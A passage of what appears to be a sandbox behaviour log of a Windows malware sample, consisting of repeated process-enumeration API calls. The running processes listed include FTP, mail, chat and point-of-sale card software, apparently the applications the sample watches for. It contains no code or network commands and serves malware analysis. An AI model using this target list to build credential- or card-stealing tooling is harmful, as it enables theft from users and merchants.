pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0221.104] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0221.106] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0221.108] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0221.110] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0221.112] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0221.114] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0221.116] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0221.118] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0221.120] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0221.122] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0221.124] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0221.126] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0221.128] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0221.130] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0221.132] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0221.133] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0221.135] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0221.137] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0221.140] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0221.142] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0221.193] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0221.196] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0221.198] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0221.201] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0221.204] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0221.238] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0221.241] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0221.244] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0221.246] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0221.248] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0221.250] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0221.253] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0221.255] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0221.257] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0221.259] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0221.261] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0221.263] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0221.265] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0221.268] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0221.320] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0221.322] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0221.324] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0221.326] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0221.328] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0221.330] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0221.333] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0221.335] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0221.337] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0221.339] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0221.341] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0221.343] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0221.345] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0221.347] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0221.349] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0221.351] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0221.353] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0221.355] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0221.357] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0221.359] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0221.361] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0221.413] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0221.415] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0221.417] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0221.419] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0221.421] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0221.423] CloseHandle (hObject=0x15f0) returned 1 [0221.423] Sleep (dwMilliseconds=0x64) [0221.474] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0221.487] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.489] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0221.491] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0221.493] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.495] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0221.497] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.499] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0221.501] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0221.554] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0221.556] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.558] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.560] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0221.562] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.564] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.566] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.568] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.570] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.573] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.575] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: 